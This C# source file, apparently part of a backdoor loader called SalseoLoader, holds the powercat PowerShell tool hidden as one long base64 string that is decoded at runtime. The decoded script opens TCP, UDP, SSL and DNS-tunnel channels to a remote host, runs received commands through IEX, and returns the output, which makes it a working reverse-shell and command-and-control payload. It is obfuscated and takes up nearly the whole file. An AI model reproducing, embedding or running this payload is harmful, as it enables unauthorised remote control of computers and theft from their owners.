﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace SalseoLoader
{
    class powercat
    {
        public static string powercatbase64()
        {
            return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("ZnVuY3Rpb24gcG93ZXJjYXQgewogICAgcGFyYW0oCiAgICAgICAgW2FsaWFzKCJDbGllbnQiKV1bc3RyaW5nXSRjID0gIiIsCiAgICAgICAgW2FsaWFzKCJMaXN0ZW4iKV1bc3dpdGNoXSRsID0gJEZhbHNlLAogICAgICAgIFthbGlhcygiUG9ydCIpXVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAtMSldW3N0cmluZ10kcCA9ICIiLAogICAgICAgIFthbGlhcygiRXhlY3V0ZSIpXVtzdHJpbmddJGUgPSAiIiwKICAgICAgICBbYWxpYXMoIkV4ZWN1dGVQb3dlcnNoZWxsIildW3N3aXRjaF0kZXAgPSAkRmFsc2UsCiAgICAgICAgW2FsaWFzKCJSZWxheSIpXVtzdHJpbmddJHIgPSAiIiwKICAgICAgICBbYWxpYXMoIlVEUCIpXVtzd2l0Y2hdJHUgPSAkRmFsc2UsCiAgICAgICAgW2FsaWFzKCJkbnNjYXQyIildW3N0cmluZ10kZG5zID0gIiIsCiAgICAgICAgW2FsaWFzKCJETlNGYWlsdXJlVGhyZXNob2xkIildW2ludDMyXSRkbnNmdCA9IDEwLAogICAgICAgIFthbGlhcygiVGltZW91dCIpXVtpbnQzMl0kdCA9IDYwLAogICAgICAgIFtQYXJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmUgPSAkVHJ1ZSldW2FsaWFzKCJJbnB1dCIpXSRpID0gJG51bGwsCiAgICAgICAgW1ZhbGlkYXRlU2V0KCdIb3N0JywgJ0J5dGVzJywgJ1N0cmluZycpXVthbGlhcygiT3V0cHV0VHlwZSIpXVtzdHJpbmddJG8gPSAiSG9zdCIsCiAgICAgICAgW2FsaWFzKCJPdXRwdXRGaWxlIildW3N0cmluZ10kb2YgPSAiIiwKICAgICAgICBbYWxpYX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ICAgICAgICAgICAgIGlmIChAKDE3LCAyNykgLWNvbnRhaW5zICgkSG9zdC5VSS5SYXdVSS5SZWFkS2V5KCJOb0VjaG8sSW5jbHVkZUtleURvd24iKS5WaXJ0dWFsS2V5Q29kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiQ1RSTCBvciBFU0MgY2F1Z2h0LiBTdG9wcGluZyBVRFAgU2V0dXAuLi4iCiAgICAgICAgICAgICAgICAgICAgICAgICRGdW5jVmFyc1siU29ja2V0Il0uQ2xvc2UoKQogICAgICAgICAgICAgICAgICAgICAgICAkU3RvcHdhdGNoLlN0b3AoKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkU3RvcHdhdGNoLkVsYXBzZWQuVG90YWxTZWNvbmRzIC1ndCAkdCkgewogICAgICAgICAgICAgICAgICAgICRGdW5jVmFyc1siU29ja2V0Il0uQ2xvc2UoKQogICAgICAgICAgICAgICAgICAgICRTdG9wd2F0Y2guU3RvcCgpCiAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiVGltZW91dCEiIDsgYnJlYWsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkQ29ubmVjdEhhbmRsZS5Jc0NvbXBsZXRlZCkgewogICAgICAgICAgICAgICAgICAgICRTb2NrZXRCeXRlc1JlYWQgPSAkRnVuY1ZhcnNbIlNvY2tldCJdLkNsaWVudC5FbmRSZWNlaXZlTWVzc2FnZUZyb20oJENvbm5lY3RIYW5kbGUsIFtyZWZdKFtTeXN0ZW0uTmV0LlNvY2tldHMuU29ja2V0RmxhZ3NdOjpOb25lKSwgW3JlZl0kRW5kUG9pbnQsIFtyZWZdJFBhY2tldEluZm8pCiAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAoIkNvbm5lY3Rpb24gZnJvbSBbIiArICRFbmRQb2ludC5BZGRyZXNzLklQQWRkcmVzc1RvU3RyaW5nICsgIl0gcG9ydCAiICsgJHAgKyAiIFt1ZHBdIGFjY2VwdGVkIChzb3VyY2UgcG9ydCAiICsgJEVuZFBvaW50LlBvcnQgKyAiKSIpCiAgICAgICAgICAgICAgICAgICAgaWYgKCRTb2NrZXRCeXRlc1JlYWQgLWd0IDApIHticmVha30KICAgICAgICAgICAgICAgICAgICBlbHNlIHticmVha30KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkU3RvcHdhdGNoLlN0b3AoKQogICAgICAgICAgICAkRnVuY1ZhcnNbIkluaXRpYWxDb25uZWN0aW9uQnl0ZXMiXSA9ICRTb2NrZXREZXN0aW5hdGlvbkJ1ZmZlclswLi4oW2ludF0kU29ja2V0Qnl0ZXNSZWFkIC0gMSldCiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICBpZiAoISRjLkNvbnRhaW5zKCIuIikpIHsKICAgICAgICAgICAgICAgICRJUExpc3QgPSBAKCkKICAgICAgICAgICAgICAgIFtTeXN0ZW0uTmV0LkRuc106OkdldEhvc3RBZGRyZXNzZXMoJGMpIHwgV2hlcmUtT2JqZWN0IHskXy5BZGRyZXNzRmFtaWx5IC1lcSAiSW50ZXJOZXR3b3JrIn0gfCAlIHskSVBMaXN0ICs9ICRfLklQQWRkcmVzc1RvU3RyaW5nfQogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAoIk5hbWUgIiArICRjICsgIiByZXNvbHZlZCB0byBhZGRyZXNzICIgKyAkSVBMaXN0WzBdKQogICAgICAgICAgICAgICAgJEVuZFBvaW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LklQRW5kUG9pbnQgKFtTeXN0ZW0uTmV0LklQQWRkcmVzc106OlBhcnNlKCRJUExpc3RbMF0pKSwgJHAKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICRFbmRQb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ldCArICJgbmV4aXQiKQogICAgICAgICAgICAkcmVzdWx0ID0gKCRDb21tYW5kIHwgbnNsb29rdXAgMj4mMSB8IE91dC1TdHJpbmcpCiAgICAgICAgICAgIGlmICgkcmVzdWx0LkNvbnRhaW5zKCciJykpIHtyZXR1cm4gKFtyZWdleF06Ok1hdGNoKCRyZXN1bHQucmVwbGFjZSgiYmlvPSIsICIiKSwgJyg/PD0iKVteIl0qKD89IiknKS5WYWx1ZSl9CiAgICAgICAgICAgIGVsc2Uge3JldHVybiAxfQogICAgICAgIH0KICAgIAogICAgICAgIGZ1bmN0aW9uIENyZWF0ZV9TWU4gewogICAgICAgICAgICBwYXJhbSgkU2Vzc2lvbklkLCAkU2VxTnVtLCAkVGFnLCAkRG9tYWluKQogICAgICAgICAgICByZXR1cm4gKCRUYWcgKyAoW3N0cmluZ10oR2V0LVJhbmRvbSAtTWF4aW11bSA5OTk5IC1NaW5pbXVtIDEwMDApKSArICIwMCIgKyAkU2Vzc2lvbklkICsgJFNlcU51bSArICIwMDAwIiArICREb21haW4pCiAgICAgICAgfQogICAgCiAgICAgICAgZnVuY3Rpb24gQ3JlYXRlX0ZJTiB7CiAgICAgICAgICAgIHBhcmFtKCRTZXNzaW9uSWQsICRUYWcsICREb21haW4pCiAgICAgICAgICAgIHJldHVybiAoJFRhZyArIChbc3RyaW5nXShHZXQtUmFuZG9tIC1NYXhpbXVtIDk5OTkgLU1pbmltdW0gMTAwMCkpICsgIjAyIiArICRTZXNzaW9uSWQgKyAiMDAiICsgJERvbWFpbikKICAgICAgICB9CiAgICAKICAgICAgICBmdW5jdGlvbiBDcmVhdGVfTVNHIHsKICAgICAgICAgICAgcGFyYW0oJFNlc3Npb25JZCwgJFNlcU51bSwgJEFja25vd2xlZGdlbWVudE51bWJlciwgJERhdGEsICRUYWcsICREb21haW4pCiAgICAgICAgICAgIHJldHVybiAoJFRhZyArIChbc3RyaW5nXShHZXQtUmFuZG9tIC1NYXhpbXVtIDk5OTkgLU1pbmltdW0gMTAwMCkpICsgIjAxIiArICRTZXNzaW9uSWQgKyAkU2VxTnVtICsgJEFja25vd2xlZGdlbWVudE51bWJlciArICREYXRhICsgJERvbWFpbikKICAgICAgICB9CiAgICAKICAgICAgICBmdW5jdGlvbiBEZWNvZGVQYWNrZXQgewogICAgICAgICAgICBwYXJhbSgkUGFja2V0KQogICAgICAKICAgICAgICAgICAgaWYgKCgoJFBhY2tldC5MZW5ndGgpICUgMiAtZXEgMSkgLW9yICgkUGFja2V0Lkxlbmd0aCAtZXEgMCkpIHtyZXR1cm4gMX0KICAgICAgICAgICAgJEFja25vd2xlZGdlbWVudE51bWJlciA9ICgkUGFja2V0WzEwLi4xM10gLWpvaW4gIiIpCiAgICAgICAgICAgICRTZXFOdW0gPSAoJFBhY2tldFsxNC4uMTddIC1qb2luICIiKQogICAgICAgICAgICBbYnl0ZVtdXSRSZXR1cm5pbmdEYXRhID0gQCgpCiAgICAgIAogICAgICAgICAgICBpZiAoJFBhY2tldC5MZW5ndGggLWd0IDE4KSB7CiAgICAgICAgICAgICAgICAkUGFja2V0RWxpbSA9ICRQYWNrZXQuU3Vic3RyaW5nKDE4KQogICAgICAgICAgICAgICAgd2hpbGUgKCRQYWNrZXRFbGltLkxlbmd0aCAtZ3QgMCkgewogICAgICAgICAgICAgICAgICAgICRSZXR1cm5pbmdEYXRhICs9IFtieXRlW11dW0NvbnZlcnRdOjpUb0ludDE2KCgkUGFja2V0RWxpbVswLi4xXSAtam9pbiAiIiksIDE2KQogICAgICAgICAgICAgICAgICAgICRQYWNrZXRFbGltID0gJFBhY2tldEVsaW0uU3Vic3RyaW5nKDIpCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgCiAgICAgICAgICAgIHJldHVybiAkUGFja2V0LCAkUmV0dXJuaW5nRGF0YSwgJEFja25vd2xlZGdlbWVudE51bWJlciwgJFNlcU51bQogICAgICAgIH0KICAgIAogICAgICAgIGZ1bmN0aW9uIEFja25vd2xlZGdlRGF0YSB7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1bmNWYXJzWyJJbnB1dERhdGEiXSAtbmUgJG51bGwpIHsKICAgICAgICAgICAgJEhleCA9IChJbnZva2UtQ29tbWFuZCAkRnVuY1ZhcnNbIkNvbnZlcnRUby1IZXhBcnJheSJdIC1Bcmd1bWVudExpc3QgQCgkRnVuY1ZhcnNbIklucHV0RGF0YSJdKSkKICAgICAgICAgICAgJFNlY3Rpb25Db3VudCA9IDAKICAgICAgICAgICAgJFBhY2tldENvdW50ID0gMAogICAgICAgICAgICBmb3JlYWNoICgkQ2hhciBpbiAkSGV4KSB7CiAgICAgICAgICAgICAgICBpZiAoJFNlY3Rpb25Db3VudCAtZ2UgMzApIHsKICAgICAgICAgICAgICAgICAgICAkU2VjdGlvbkNvdW50ID0gMAogICAgICAgICAgICAgICAgICAgICRQYWNrZXREYXRhICs9ICIuIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCRQYWNrZXRDb3VudCAtZ2UgKCRGdW5jVmFyc1siTWF4TVNHRGF0YVNpemUiXSkpIHsKICAgICAgICAgICAgICAgICAgICAkUGFja2V0c0RhdGEgKz0gJFBhY2tldERhdGEuVHJpbUVuZCgiLiIpCiAgICAgICAgICAgICAgICAgICAgJFBhY2tldENvdW50ID0gMAogICAgICAgICAgICAgICAgICAgICRTZWN0aW9uQ291bnQgPSAwCiAgICAgICAgICAgICAgICAgICAgJFBhY2tldERhdGEgPSAiIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJFBhY2tldERhdGEgKz0gJENoYXIKICAgICAgICAgICAgICAgICRTZWN0aW9uQ291bnQgKz0gMgogICAgICAgICAgICAgICAgJFBhY2tldENvdW50ICs9IDIKICAgICAgICAgICAgfQogICAgICAgICAgICAkUGFja2V0RGF0YSA9ICRQYWNrZXREYXRhLlRyaW1FbmQoIi4iKQogICAgICAgICAgICAkUGFja2V0c0RhdGEgKz0gJFBhY2tldERhdGEKICAgICAgICAgICAgJEZ1bmNWYXJzWyJJbnB1dERhdGEiXSA9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6VmVyYm9zZSkgeyRWZXJib3NlID0gJFRydWV9CiAgICAgICAgJEZ1bmNWYXJzID0gQHt9CiAgICAgICAgaWYgKCEkbCkgewogICAgICAgICAgICAkRnVuY1ZhcnNbImwiXSA9ICRGYWxzZQogICAgICAgICAgICAkU29ja2V0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVGNwQ2xpZW50CiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkNvbm5lY3RpbmcuLi4iCiAgICAgICAgICAgICRIYW5kbGUgPSAkU29ja2V0LkJlZ2luQ29ubmVjdCgkYywgJHAsICRudWxsLCAkbnVsbCkKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRGdW5jVmFyc1sibCJdID0gJFRydWUKICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAoIkxpc3RlbmluZyBvbiBbMC4wLjAuMF0gKHBvcnQgIiArICRwICsgIikiKQogICAgICAgICAgICAkU29ja2V0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVGNwTGlzdGVuZXIgJHAKICAgICAgICAgICAgJFNvY2tldC5TdGFydCgpCiAgICAgICAgICAgICRIYW5kbGUgPSAkU29ja2V0LkJlZ2luQWNjZXB0VGNwQ2xpZW50KCRudWxsLCAkbnVsbCkKICAgICAgICB9CiAgICAKICAgICAgICAkU3RvcHdhdGNoID0gW1N5c3RlbS5EaWFnbm9zdGljcy5TdG9wd2F0Y2hdOjpTdGFydE5ldygpCiAgICAgICAgd2hpbGUgKCRUcnVlKSB7CiAgICAgICAgICAgIGlmICgkSG9zdC5VSS5SYXdVSS5LZXlBdmFpbGFibGUpIHsKICAgICAgICAgICAgICAgIGlmIChAKDE3LCAyNykgLWNvbnRhaW5zICgkSG9zdC5VSS5SYXdVSS5SZWFkS2V5KCJOb0VjaG8sSW5jbHVkZUtleURvd24iKS5WaXJ0dWFsS2V5Q29kZSkpIHsKICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJDVFJMIG9yIEVTQyBjYXVnaHQuIFN0b3BwaW5nIFRDUCBTZXR1cC4uLiIKICAgICAgICAgICAgICAgICAgICBpZiAoJEZ1bmNWYXJzWyJsIl0pIHskU29ja2V0LlN0b3AoKX0KICAgICAgICAgICAgICAgICAgICBlbHNlIHskU29ja2V0LkNsb3NlKCl9CiAgICAgICAgICAgICAgICAgICAgJFN0b3B3YXRjaC5TdG9wKCkKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkU3RvcHdhdGNoLkVsYXBzZWQuVG90YWxTZWNvbmRzIC1ndCAkdCkgewogICAgICAgICAgICAgICAgaWYgKCEkbCkgeyRTb2NrZXQuQ2xvc2UoKX0KICAgICAgICAgICAgICAgIGVsc2UgeyRTb2NrZXQuU3RvcCgpfQogICAgICAgICAgICAgICAgJFN0b3B3YXRjaC5TdG9wKCkKICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlRpbWVvdXQhIiA7IGJyZWFrCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkSGFuZGxlLklzQ29tcGxldGVkKSB7CiAgICAgICAgICAgICAgICBpZiAoISRsKSB7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTb2NrZXQuRW5kQ29ubmVjdCgkSGFuZGxlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFN0cmVhbSA9ICRTb2NrZXQuR2V0U3RyZWFtKCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRCdWZmZXJTaXplID0gJFNvY2tldC5SZWNlaXZlQnVmZmVyU2l6ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAoIkNvbm5lY3Rpb24gdG8gIiArICRjICsgIjoiICsgJHAgKyAiIFt0Y3BdIHN1Y2NlZWRlZCEiKQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRzc2wpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU3RyZWFtID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNlY3VyaXR5LlNzbFN0cmVhbSgkU3RyZWFtLCAkZmFsc2UsIHsgcGFyYW0oJFNlbmRlciwgJENlcnQsICRDaGFpbiwgJFBvbGljeSkgcmV0dXJuICR0cnVlIH0pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFN0cmVhbS5BdXRoZW50aWNhdGVBc0NsaWVudCgkU3NsQ24pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiQ29ubmVjdGlvbiB0byBTU0wgc3VjY2VkZWQhIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCB7JFNvY2tldC5DbG9zZSgpOyAkU3RvcHdhdGNoLlN0b3AoKTsgYnJlYWt9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkQ2xpZW50ID0gJFNvY2tldC5FbmRBY2NlcHRUY3BDbGllbnQoJEhhbmRsZSkKICAgICAgICAgICAgICAgICAgICAkU3RyZWFtID0gJENsaWVudC5HZXRTdHJlYW0oKQogICAgICAgICAgICAgICAgICAgICRCdWZmZXJTaXplID0gJENsaWVudC5SZWNlaXZlQnVmZmVyU2l6ZQogICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgKCJDb25uZWN0aW9uIGZyb20gWyIgKyAkQ2xpZW50LkNsaWVudC5SZW1vdGVFbmRQb2ludC5BZGRyZXNzLklQQWRkcmVzc1RvU3RyaW5nICsgIl0gcG9ydCAiICsgJHBvcnQgKyAiIFt0Y3BdIGFjY2VwdGVkIChzb3VyY2UgcG9ydCAiICsgJENsaWVudC5DbGllb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kVG9FeGVjdXRlID0gIiIgICAgICAKICAgICAgICAgICAgICAgICREYXRhID0gJG51bGwKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTdHJlYW0gMiBTZXR1cCBGYWlsdXJlIiA7IHJldHVybgogICAgICAgICAgICB9CiAgICAgIAogICAgICAgICAgICBpZiAoJElucHV0VG9Xcml0ZSAtbmUgQCgpKSB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJXcml0aW5nIGlucHV0IHRvIFN0cmVhbSAxLi4uIgogICAgICAgICAgICAgICAgdHJ5IHskU3RyZWFtMVZhcnMgPSBTdHJlYW0xX1dyaXRlRGF0YSAkSW5wdXRUb1dyaXRlICRTdHJlYW0xVmFyc30KICAgICAgICAgICAgICAgIGNhdGNoIHtXcml0ZS1Ib3N0ICJGYWlsZWQgdG8gd3JpdGUgaW5wdXQgdG8gU3RyZWFtIDEiIDsgcmV0dXJufQogICAgICAgICAgICB9CiAgICAgIAogICAgICAgICAgICBpZiAoJGQpIHtXcml0ZS1WZXJib3NlICItZCAoZGlzY29ubmVjdCkgQWN0aXZhdGVkLiBEaXNjb25uZWN0aW5nLi4uIiA7IHJldHVybn0KICAgICAgCiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkJvdGggQ29tbXVuaWNhdGlvbiBTdHJlYW1zIEVzdGFibGlzaGVkLiBSZWRpcmVjdGluZyBEYXRhIEJldHdlZW4gU3RyZWFtcy4uLiIKICAgICAgICAgICAgd2hpbGUgKCRUcnVlKSB7ICAgICAgICAKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgIyMjIyMgU3RyZWFtMiBSZWFkICMjIyMjCiAgICAgICAgICAgICAgICAgICAgJFByb21wdCA9ICRudWxsCiAgICAgICAgICAgICAgICAgICAgJFJldHVybmVkRGF0YSA9ICRudWxsCiAgICAgICAgICAgICAgICAgICAgaWYgKCRDb21tYW5kVG9FeGVjdXRlIC1uZSAiIikgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkge1tieXRlW11dJFJldHVybmVkRGF0YSA9ICRFbmNvZGluZy5HZXRCeXRlcygoSUVYICRDb21tYW5kVG9FeGVjdXRlIDI+JjEgfCBPdXQtU3RyaW5nKSl9CiAgICAgICAgICAgICAgICAgICAgICAgIGNhdGNoIHtbYnl0ZVtdXSRSZXR1cm5lZERhdGEgPSAkRW5jb2RpbmcuR2V0Qnl0ZXMoKCRfIHwgT3V0LVN0cmluZykpfQogICAgICAgICAgICAgICAgICAgICAgICAkUHJvbXB0ID0gJEVuY29kaW5nLkdldEJ5dGVzKCgiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiKSkKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJERhdGEgKz0gJEludHJvUHJvbXB0CiAgICAgICAgICAgICAgICAgICAgJEludHJvUHJvbXB0ID0gJG51bGwKICAgICAgICAgICAgICAgICAgICAkRGF0YSArPSAkUmV0dXJuZWREYXRhCiAgICAgICAgICAgICAgICAgICAgJERhdGEgKz0gJFByb21wdAogICAgICAgICAgICAgICAgICAgICRDb21tYW5kVG9FeGVjdXRlID0gIiIKICAgICAgICAgICAgICAgICAgICAjIyMjIyBTdHJlYW0yIFJlYWQgIyMjIyMKCiAgICAgICAgICAgICAgICAgICAgaWYgKCREYXRhIC1uZSAkbnVsbCkgeyRTdHJlYW0xVmFycyA9IFN0cmVhbTFfV3JpdGVEYXRhICREYXRhICRTdHJlYW0xVmFyc30KICAgICAgICAgICAgICAgICAgICAkRGF0YSA9ICRudWxsCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiRmFpbGVkIHRvIHJlZGlyZWN0IGRhdGEgZnJvbSBTdHJlYW0gMiB0byBTdHJlYW0gMSIgOyByZXR1cm4KICAgICAgICAgICAgICAgIH0KICAgICAgICAKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgJERhdGEsICRTdHJlYW0xVmFycyA9IFN0cmVhbTFfUmVhZERhdGEgJFN0cmVhbTFWYXJzCiAgICAgICAgICAgICAgICAgICAgaWYgKCREYXRhLkxlbmd0aCAtZXEgMCkge1N0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMTAwfQogICAgICAgICAgICAgICAgICAgIGlmICgkRGF0YSAtbmUgJG51bGwpIHskQ29tbWFuZFRvRXhlY3V0ZSA9ICRFbmNvZGluZy5HZXRTdHJpbmcoJERhdGEpfQogICAgICAgICAgICAgICAgICAgICREYXRhID0gJG51bGwKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIHsKICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJGYWlsZWQgdG8gcmVkaXJlY3QgZGF0YSBmcm9tIFN0cmVhbSAxIHRvIFN0cmVhbSAyIiA7IHJldHVybgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZpbmFsbHkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiQ2xvc2luZyBTdHJlYW0gMS4uLiIKICAgICAgICAgICAgICAgIFN0cmVhbTFfQ2xvc2UgJFN0cmVhbTFWYXJzCiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiRmFpbGVkIHRvIGNsb3NlIFN0cmVhbSAxIgogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgIyMjIyMjIyMjIyBQT1dFUlNIRUxMIEZVTkNUSU9OUyAjIyMjIyMjIyMjCgogICAgIyMjIyMjIyMjIyBDT05TT0xFIEZVTkNUSU9OUyAjIyMjIyMjIyMjCiAgICBmdW5jdGlvbiBTZXR1cF9Db25zb2xlIHsKICAgICAgICBwYXJhbSgkRn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WlsZWQgdG8gd3JpdGUgaW5wdXQgdG8gU3RyZWFtIDEiIDsgcmV0dXJufQogICAgICAgICAgICB9CiAgICAgIAogICAgICAgICAgICBpZiAoJGQpIHtXcml0ZS1WZXJib3NlICItZCAoZGlzY29ubmVjdCkgQWN0aXZhdGVkLiBEaXNjb25uZWN0aW5nLi4uIiA7IHJldHVybn0KICAgICAgCiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkJvdGggQ29tbXVuaWNhdGlvbiBTdHJlYW1zIEVzdGFibGlzaGVkLiBSZWRpcmVjdGluZyBEYXRhIEJldHdlZW4gU3RyZWFtcy4uLiIKICAgICAgICAgICAgd2hpbGUgKCRUcnVlKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICREYXRhLCAkU3RyZWFtMlZhcnMgPSBTdHJlYW0yX1JlYWREYXRhICRTdHJlYW0yVmFycwogICAgICAgICAgICAgICAgICAgIGlmICgoJERhdGEuTGVuZ3RoIC1lcSAwKSAtb3IgKCREYXRhIC1lcSAkbnVsbCkpIHtTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwMH0KICAgICAgICAgICAgICAgICAgICBpZiAoJERhdGEgLW5lICRudWxsKSB7JFN0cmVhbTFWYXJzID0gU3RyZWFtMV9Xcml0ZURhdGEgJERhdGEgJFN0cmVhbTFWYXJzfQogICAgICAgICAgICAgICAgICAgICREYXRhID0gJG51bGwKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIHsKICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJGYWlsZWQgdG8gcmVkaXJlY3QgZGF0YSBmcm9tIFN0cmVhbSAyIHRvIFN0cmVhbSAxIiA7IHJldHVybgogICAgICAgICAgICAgICAgfQogICAgICAgIAogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAkRGF0YSwgJFN0cmVhbTFWYXJzID0gU3RyZWFtMV9SZWFkRGF0YSAkU3RyZWFtMVZhcnMKICAgICAgICAgICAgICAgICAgICBpZiAoKCREYXRhLkxlbmd0aCAtZXEgMCkgLW9yICgkRGF0YSAtZXEgJG51bGwpKSB7U3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAxMDB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCREYXRhIC1uZSAkbnVsbCkgeyRTdHJlYW0yVmFycyA9IFN0cmVhbTJfV3JpdGVEYXRhICREYXRhICRTdHJlYW0yVmFyc30KICAgICAgICAgICAgICAgICAgICAkRGF0YSA9ICRudWxsCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiRmFpbGVkIHRvIHJlZGlyZWN0IGRhdGEgZnJvbSBTdHJlYW0gMSB0byBTdHJlYW0gMiIgOyByZXR1cm4KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmaW5hbGx5IHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICNXcml0ZS1WZXJib3NlICJDbG9zaW5nIFN0cmVhbSAyLi4uIgogICAgICAgICAgICAgICAgU3RyZWFtMl9DbG9zZSAkU3RyZWFtMlZhcnMKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJGYWlsZWQgdG8gY2xvc2UgU3RyZWFtIDIiCiAgICAgICAgICAgIH0KICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICNXcml0ZS1WZXJib3NlICJDbG9zaW5nIFN0cmVhbSAxLi4uIgogICAgICAgICAgICAgICAgU3RyZWFtMV9DbG9zZSAkU3RyZWFtMVZhcnMKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJGYWlsZWQgdG8gY2xvc2UgU3RyZWFtIDEiCiAgICAg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